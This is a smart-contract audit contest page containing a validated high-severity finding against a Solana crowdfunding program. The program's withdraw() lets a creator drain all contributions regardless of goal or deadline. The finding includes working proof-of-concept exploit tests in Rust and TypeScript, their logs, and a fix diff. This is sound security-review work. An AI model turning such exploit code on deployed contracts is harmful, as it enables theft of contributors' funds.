Rust Fund

AI First Flight #9
Beginner FriendlyRust
EXP
View results
Submission Details
Severity: high
Valid

withdraw() checks only who calls it, never the goal or the deadline, so a campaign creator can take all contributed SOL at any time, including mid-campaign and after the campaign has failed

Root + Impact

Description

  • The README says creators "can withdraw funds once their campaign succeeds" and "Withdraws raised funds after successful campaigns", and it calls the platform trustless. A campaign should pay its creator only after the deadline and only when amount_raised >= goal. A failed campaign's SOL is meant to go back to contributors as refunds.

  • withdraw() reads fund.amount_raised (L91) and moves that many lamports from the fund to the creator with no condition. Its account constraints (L163) check only who may call: the PDA seeds, has_one = creator and the creator's signature. Nothing reads the clock, the deadline or the goal. fund.goal is written in fund_create (L16) and never read anywhere in the program. Anyone can become a creator by calling fund_create, so this power belongs to an untrusted actor.

// programs/rustfund/src/lib.rs L90-L101 (@> L91): withdraw(): no goal, deadline or success check before the payout
pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
@> let amount = ctx.accounts.fund.amount_raised;
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.creator.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
​
// programs/rustfund/src/lib.rs L161-L164 (@> L163): FundWithdraw: the only gate is the caller's identity
#[derive(Accounts)]
pub struct FundWithdraw<'info> {
@> #[account(mut, seeds = [fund.name.as_bytes(), creator.key().as_ref()], bump,has_one = creator)]
pub fund: Account<'info, Fund>,

Risk

Likelihood:

  • It needs the creator to act against the contributors. The creator role is open to anyone through fund_create, and the README does not make creators trusted toward contributors.

  • The attack is a single withdraw() transaction that can be sent at any moment, before or after the deadline, with no setup or timing.

Impact:

  • A creator can take all SOL contributed to a campaign before the deadline with the goal unmet. A creator can also take it after the deadline when the campaign has failed, which is exactly when contributors are promised refunds. In the PoC the creator takes 50 SOL on day 1 of a 30-day campaign that has reached 5% of its goal.

  • The withdrawal leaves the fund holding only its rent-exempt reserve (37,590,960 lamports for the 5,273-byte account). Nothing is left for contributors, even after refund accounting is fixed.

Proof of Concept

The first test creates a campaign with a 1,000 SOL goal and a 30-day deadline. Alice contributes 30 SOL and Bob 20 SOL.

  • On day 1 (5% of the goal, deadline 29 days away), a stranger's withdraw() is rejected with Anchor's ConstraintSeeds (2006), so the identity check works.

  • The creator's withdraw() then succeeds. The creator gains exactly 50 SOL and the fund drops to exactly its rent-exempt minimum. amount_raised still reads 50 SOL.

  • A repeat withdraw() reverts with InsufficientFunds, so the loss is bounded to the contributed SOL.

  • After the deadline passes with the goal missed, the fund holds nothing above its rent reserve.

The second test covers two more cases.

  • After a failed deadline, contribute() is correctly rejected with DeadlineReached (6001), yet the creator still withdraws all 50 SOL.

  • On a campaign with no deadline set and goal = u64::MAX, the creator withdraws the 10 SOL contributed immediately.

// PoC RF-02: withdraw() has no goal / deadline / success check -> creator can take all
// contributed SOL at any time (mid-campaign rug, or after a failed campaign).
use anchor_lang::prelude::*;
use anchor_lang::solana_program::entrypoint::ProgramResult;
use anchor_lang::{InstructionData, ToAccountMetas};
use solana_program_test::*;
use solana_sdk::{
instruction::{Instruction, InstructionError},
signature::{Keypair, Signer},
system_instruction,
transaction::{Transaction, TransactionError},
};
​
const LAMPORTS_PER_SOL: u64 = 1_000_000_000;
const DAY: i64 = 24 * 3600;
​
fn process_instruction(program_id: &Pubkey, accounts: &[AccountInfo], data: &[u8]) -> ProgramResult {
let accounts = Box::leak(Box::new(accounts.to_vec()));
rustfund::entry(program_id, accounts, data)
}
​
async fn send(
ctx: &mut ProgramTestContext,
ixs: &[Instruction],
extra_signers: &[&Keypair],
) -> std::result::Result<(), BanksClientError> {
let bh = ctx.get_new_latest_blockhash().await.unwrap();
let mut signers: Vec<&Keypair> = vec![&ctx.payer];
signers.extend_from_slice(extra_signers);
let tx = Transaction::new_signed_with_payer(ixs, Some(&ctx.payer.pubkey()), &signers, bh);
ctx.banks_client.process_transaction(tx).await
}
​
async fn lamports(ctx: &mut ProgramTestContext, key: &Pubkey) -> u64 {
ctx.banks_client.get_account(*key).await.unwrap().map(|a| a.lamports).unwrap_or(0)
}
​
async fn fund_state(ctx: &mut ProgramTestContext, key: &Pubkey) -> rustfund::Fund {
let acc = ctx.banks_client.get_account(*key).await.unwrap().unwrap();
rustfund::Fund::try_deserialize(&mut acc.data.as_slice()).unwrap()
}
​
async fn now(ctx: &mut ProgramTestContext) -> i64 {
ctx.banks_client.get_sysvar::<Clock>().await.unwrap().unix_timestamp
}
​
async fn warp_to(ctx: &mut ProgramTestContext, ts: i64) {
let mut clock: Clock = ctx.banks_client.get_sysvar::<Clock>().await.unwrap();
clock.unix_timestamp = ts;
ctx.set_sysvar(&clock);
}
​
fn create_ix(fund: Pubkey, creator: Pubkey, name: &str, goal: u64) -> Instruction {
Instruction {
program_id: rustfund::ID,
accounts: rustfund::accounts::FundCreate { fund, creator, system_program: anchor_lang::system_program::ID }
.to_account_metas(None),
data: rustfund::instruction::FundCreate {
name: name.to_string(),
description: "all-or-nothing, refunds if goal missed".to_string(),
goal,
}
.data(),
}
}
​
fn deadline_ix(fund: Pubkey, creator: Pubkey, deadline: u64) -> Instruction {
Instruction {
program_id: rustfund::ID,
accounts: rustfund::accounts::FundSetDeadline { fund, creator }.to_account_metas(None),
data: rustfund::instruction::SetDeadline { deadline }.data(),
}
}
​
fn contribute_ix(fund: Pubkey, contributor: Pubkey, amount: u64) -> Instruction {
let (contribution, _) =
Pubkey::find_program_address(&[fund.as_ref(), contributor.as_ref()], &rustfund::ID);
Instruction {
program_id: rustfund::ID,
accounts: rustfund::accounts::FundContribute {
fund,
contributor,
contribution,
system_program: anchor_lang::system_program::ID,
}
.to_account_metas(None),
data: rustfund::instruction::Contribute { amount }.data(),
}
}
​
fn withdraw_ix(fund: Pubkey, creator: Pubkey) -> Instruction {
Instruction {
program_id: rustfund::ID,
accounts: rustfund::accounts::FundWithdraw { fund, creator, system_program: anchor_lang::system_program::ID }
.to_account_metas(None),
data: rustfund::instruction::Withdraw {}.data(),
}
}
​
/// Common setup: creator makes a 1,000 SOL-goal campaign with a 30-day deadline,
/// Alice gives 30 SOL and Bob 20 SOL (total 50 SOL = 5% of goal).
async fn setup(name: &str) -> (ProgramTestContext, Keypair, Pubkey, i64, u64) {
let pt = ProgramTest::new("rustfund", rustfund::ID, processor!(process_instruction));
let mut ctx = pt.start_with_context().await;
let creator = Keypair::new();
let alice = Keypair::new();
let bob = Keypair::new();
let fund_ixs = [
system_instruction::transfer(&ctx.payer.pubkey(), &creator.pubkey(), 5 * LAMPORTS_PER_SOL),
system_instruction::transfer(&ctx.payer.pubkey(), &alice.pubkey(), 40 * LAMPORTS_PER_SOL),
system_instruction::transfer(&ctx.payer.pubkey(), &bob.pubkey(), 30 * LAMPORTS_PER_SOL),
];
send(&mut ctx, &fund_ixs, &[]).await.unwrap();
​
let goal = 1_000 * LAMPORTS_PER_SOL;
let (fund_pda, _) =
Pubkey::find_program_address(&[name.as_bytes(), creator.pubkey().as_ref()], &rustfund::ID);
send(&mut ctx, &[create_ix(fund_pda, creator.pubkey(), name, goal)], &[&creator]).await.unwrap();
​
let t0 = now(&mut ctx).await;
let deadline = (t0 + 30 * DAY) as u64;
send(&mut ctx, &[deadline_ix(fund_pda, creator.pubkey(), deadline)], &[&creator]).await.unwrap();
​
send(&mut ctx, &[contribute_ix(fund_pda, alice.pubkey(), 30 * LAMPORTS_PER_SOL)], &[&alice]).await.unwrap();
send(&mut ctx, &[contribute_ix(fund_pda, bob.pubkey(), 20 * LAMPORTS_PER_SOL)], &[&bob]).await.unwrap();
​
(ctx, creator, fund_pda, t0, deadline)
}
​
#[tokio::test]
async fn rf02_creator_rugs_mid_campaign_before_deadline_goal_unmet() {
let (mut ctx, creator, fund_pda, t0, deadline) = setup("charity").await;
​
let acc = ctx.banks_client.get_account(fund_pda).await.unwrap().unwrap();
let rent = ctx.banks_client.get_rent().await.unwrap();
let rent_min = rent.minimum_balance(acc.data.len());
println!("fund PDA data len = {}, rent-exempt minimum R = {}", acc.data.len(), rent_min);
assert_eq!(acc.data.len(), 5273);
assert_eq!(rent_min, 37_590_960);
​
let f = fund_state(&mut ctx, &fund_pda).await;
let raised = 50 * LAMPORTS_PER_SOL;
assert_eq!(f.amount_raised, raised);
assert_eq!(acc.lamports, rent_min + raised, "fund holds R + 50 SOL");
​
// Day 1 of a 30-day campaign: goal at 5%, deadline 29 days away.
warp_to(&mut ctx, t0 + DAY).await;
let t = now(&mut ctx).await;
let f = fund_state(&mut ctx, &fund_pda).await;
println!(
"day 1: now = {}, deadline = {} ({} days away), goal = {} lamports, amount_raised = {} ({}% of goal)",
t,
f.deadline,
(f.deadline as i64 - t) / DAY,
f.goal,
f.amount_raised,
f.amount_raised * 100 / f.goal
);
assert!((t as u64) < deadline, "campaign is still running");
assert!(f.amount_raised < f.goal, "goal is unmet");
​
// Baseline: the WHO check works - a stranger cannot withdraw this fund.
let mallory = Keypair::new();
let pay = ctx.payer.pubkey();
send(&mut ctx, &[system_instruction::transfer(&pay, &mallory.pubkey(), LAMPORTS_PER_SOL)], &[])
.await
.unwrap();
let res = send(&mut ctx, &[withdraw_ix(fund_pda, mallory.pubkey())], &[&mallory]).await;
println!("stranger withdraw -> {:?}", res);
assert!(res.is_err(), "non-creator is rejected (seeds/has_one)");
assert_eq!(lamports(&mut ctx, &fund_pda).await, rent_min + raised);
​
// The BUG: the creator withdraws mid-campaign; nothing checks WHEN or WHETHER.
let creator_before = lamports(&mut ctx, &creator.pubkey()).await;
let res = send(&mut ctx, &[withdraw_ix(fund_pda, creator.pubkey())], &[&creator]).await;
println!("creator withdraw on day 1 (goal unmet, deadline not reached) -> {:?}", res);
assert!(res.is_ok(), "withdraw succeeds before the deadline with the goal unmet");
let creator_after = lamports(&mut ctx, &creator.pubkey()).await;
let fund_after = lamports(&mut ctx, &fund_pda).await;
println!(
"creator +{} lamports; fund PDA lamports {} -> {} (== R: {})",
creator_after - creator_before,
rent_min + raised,
fund_after,
fund_after == rent_min
);
assert_eq!(creator_after - creator_before, raised, "creator took all 50 SOL of contributions");
assert_eq!(fund_after, rent_min, "fund left with only its rent-exempt reserve");
​
// State is not updated: amount_raised is stale, nothing marks the fund withdrawn.
let f = fund_state(&mut ctx, &fund_pda).await;
println!(
"after withdraw: amount_raised = {} (stale), goal = {}, deadline = {}",
f.amount_raised, f.goal, f.deadline
);
assert_eq!(f.amount_raised, raised);
​
// A repeat withdraw reverts at checked_sub (InsufficientFunds): theft bounded to contributions.
let err = send(&mut ctx, &[withdraw_ix(fund_pda, creator.pubkey())], &[&creator]).await.unwrap_err();
println!("repeat withdraw -> {:?}", err);
match err {
BanksClientError::TransactionError(TransactionError::InstructionError(
0,
InstructionError::InsufficientFunds,
)) => {}
other => panic!("unexpected error: {:?}", other),
}
assert_eq!(lamports(&mut ctx, &fund_pda).await, rent_min);
​
// The campaign then fails at the deadline: there is nothing left in the fund to refund.
warp_to(&mut ctx, deadline as i64 + 1).await;
let f = fund_state(&mut ctx, &fund_pda).await;
assert!(f.amount_raised < f.goal);
let refundable = lamports(&mut ctx, &fund_pda).await - rent_min;
println!(
"after failed deadline: fund lamports above rent reserve = {} (contributors were owed {})",
refundable, raised
);
assert_eq!(refundable, 0);
println!(
"RF-02 (early rug) CONFIRMED: creator withdrew {} lamports on day 1 of 30 at {}% of goal",
raised,
raised * 100 / f.goal
);
}
​
#[tokio::test]
async fn rf02_creator_withdraws_failed_campaign_and_without_any_deadline() {
// Case A: deadline passed, goal missed (README refund case) -> creator still withdraws.
let (mut ctx, creator, fund_pda, _t0, deadline) = setup("failed").await;
let rent_min = {
let acc = ctx.banks_client.get_account(fund_pda).await.unwrap().unwrap();
ctx.banks_client.get_rent().await.unwrap().minimum_balance(acc.data.len())
};
warp_to(&mut ctx, deadline as i64 + 1).await;
let f = fund_state(&mut ctx, &fund_pda).await;
assert!(f.amount_raised < f.goal, "campaign failed: 50 SOL of 1000 SOL");
​
// Baseline: contributions are correctly closed after the deadline (DeadlineReached = 6001),
// so the program does enforce time on other paths, just not on withdraw.
let late = Keypair::new();
let pay = ctx.payer.pubkey();
send(&mut ctx, &[system_instruction::transfer(&pay, &late.pubkey(), 2 * LAMPORTS_PER_SOL)], &[])
.await
.unwrap();
let err = send(&mut ctx, &[contribute_ix(fund_pda, late.pubkey(), LAMPORTS_PER_SOL)], &[&late])
.await
.unwrap_err();
println!("contribute after deadline -> {:?}", err);
match err {
BanksClientError::TransactionError(TransactionError::InstructionError(0, InstructionError::Custom(c))) => {
assert_eq!(c, 6001)
}
other => panic!("unexpected error: {:?}", other),
}
​
let creator_before = lamports(&mut ctx, &creator.pubkey()).await;
send(&mut ctx, &[withdraw_ix(fund_pda, creator.pubkey())], &[&creator]).await.unwrap();
let gained = lamports(&mut ctx, &creator.pubkey()).await - creator_before;
let left = lamports(&mut ctx, &fund_pda).await;
println!(
"failed campaign (raised {} < goal {}): creator withdraw +{} lamports, fund left {}",
f.amount_raised, f.goal, gained, left
);
assert_eq!(gained, 50 * LAMPORTS_PER_SOL);
assert_eq!(left, rent_min);
​
// Case B: no deadline ever set (deadline == 0) and goal = u64::MAX -> withdraw still succeeds immediately.
let pt = ProgramTest::new("rustfund", rustfund::ID, processor!(process_instruction));
let mut ctx = pt.start_with_context().await;
let creator = Keypair::new();
let alice = Keypair::new();
let pay = ctx.payer.pubkey();
send(
&mut ctx,
&[
system_instruction::transfer(&pay, &creator.pubkey(), 5 * LAMPORTS_PER_SOL),
system_instruction::transfer(&pay, &alice.pubkey(), 20 * LAMPORTS_PER_SOL),
],
&[],
)
.await
.unwrap();
let name = "nodeadline";
let (fund_pda, _) =
Pubkey::find_program_address(&[name.as_bytes(), creator.pubkey().as_ref()], &rustfund::ID);
send(&mut ctx, &[create_ix(fund_pda, creator.pubkey(), name, u64::MAX)], &[&creator]).await.unwrap();
send(&mut ctx, &[contribute_ix(fund_pda, alice.pubkey(), 10 * LAMPORTS_PER_SOL)], &[&alice]).await.unwrap();
let f = fund_state(&mut ctx, &fund_pda).await;
assert_eq!(f.deadline, 0);
assert_eq!(f.goal, u64::MAX);
let creator_before = lamports(&mut ctx, &creator.pubkey()).await;
send(&mut ctx, &[withdraw_ix(fund_pda, creator.pubkey())], &[&creator]).await.unwrap();
let gained = lamports(&mut ctx, &creator.pubkey()).await - creator_before;
println!(
"no deadline, goal = u64::MAX, raised {}: creator withdraw +{} lamports",
f.amount_raised, gained
);
assert_eq!(gained, 10 * LAMPORTS_PER_SOL, "goal and deadline are never consulted");
println!("RF-02 (failed campaign / no-deadline) CONFIRMED");
}

Run from the repository root. Everything before the cd line is a one-time setup; save the file above as programs/rustfund/tests/poc_RF-02.rs before running the last line:

cat >> programs/rustfund/Cargo.toml <<'TOML'
​
[dev-dependencies]
solana-program-test = "~1.18.26"
solana-sdk = "~1.18.26"
tokio = { version = "1", features = ["macros", "rt-multi-thread"] }
TOML
mkdir -p programs/rustfund/tests
cd programs/rustfund && cargo test --test poc_RF-02 -- --nocapture

Result: test result: ok. 2 passed; 0 failed. Key log lines:

stranger withdraw -> Err(TransactionError(InstructionError(0, Custom(2006))))
creator withdraw on day 1 (goal unmet, deadline not reached) -> Ok(())
creator +50000000000 lamports; fund PDA lamports 50037590960 -> 37590960 (== R: true)
repeat withdraw -> TransactionError(InstructionError(0, InsufficientFunds))
failed campaign (raised 50000000000 < goal 1000000000000): creator withdraw +50000000000 lamports, fund left 37590960
no deadline, goal = u64::MAX, raised 10000000000: creator withdraw +10000000000 lamports

Recommended Mitigation

Allow withdrawal only after the deadline and only when the goal has been met. Refunds then need the opposite goal condition (see the refund-gate finding), which makes the two outcomes mutually exclusive.

--- a/programs/rustfund/src/lib.rs
+++ b/programs/rustfund/src/lib.rs
@@ -90,3 +90,12 @@
pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
+ let now: u64 = Clock::get()?.unix_timestamp.try_into().unwrap();
+ require!(
+ ctx.accounts.fund.deadline != 0 && now >= ctx.accounts.fund.deadline,
+ ErrorCode::DeadlineNotReached
+ );
+ require!(
+ ctx.accounts.fund.amount_raised >= ctx.accounts.fund.goal,
+ ErrorCode::GoalNotReached
+ );
let amount = ctx.accounts.fund.amount_raised;
@@ -205,3 +214,5 @@
#[msg("Calculation overflow occurred")]
CalculationOverflow,
+ #[msg("Funding goal not reached")]
+ GoalNotReached,
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] No check for if campaign reached deadline before withdraw

## Description A Malicious creator can withdraw funds before the campaign's deadline. ## Vulnerability Details There is no check in withdraw if the campaign ended before the creator can withdraw funds. ```Rust pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { let amount = ctx.accounts.fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` ## Impact A Malicious creator can withdraw all the campaign funds before deadline which is against the intended logic of the program. ## Recommendations Add check for if campaign as reached deadline before a creator can withdraw ```Rust pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { //add this if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() { return Err(ErrorCode::DeadlineNotReached.into()); } //stops here let amount = ctx.accounts.fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` ## POC keep everything in `./tests/rustfund.rs` up on to `Contribute to fund` test, then add the below: ```TypeScript it("Creator withdraws funds when deadline is not reached", async () => { const creatorBalanceBefore = await provider.connection.getBalance(creator.publicKey); const fund = await program.account.fund.fetch(fundPDA); await new Promise(resolve => setTimeout(resolve, 150)); //default 15000 console.log("goal", fund.goal.toNumber()); console.log("fundBalance", await provider.connection.getBalance(fundPDA)); console.log("creatorBalanceBefore", await provider.connection.getBalance(creator.publicKey)); await program.methods .withdraw() .accounts({ fund: fundPDA, creator: creator.publicKey, systemProgram: anchor.web3.SystemProgram.programId, }) .rpc(); const creatorBalanceAfter = await provider.connection.getBalance(creator.publicKey); console.log("creatorBalanceAfter", creatorBalanceAfter); console.log("fundBalanceAfter", await provider.connection.getBalance(fundPDA)); }); ``` this outputs: ```Python goal 1000000000 fundBalance 537590960 creatorBalanceBefore 499999999460946370 creatorBalanceAfter 499999999960941400 fundBalanceAfter 37590960 ✔ Creator withdraws funds when deadline is not reached (398ms) ``` We can notice that the creator withdraws funds from the campaign before the deadline.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!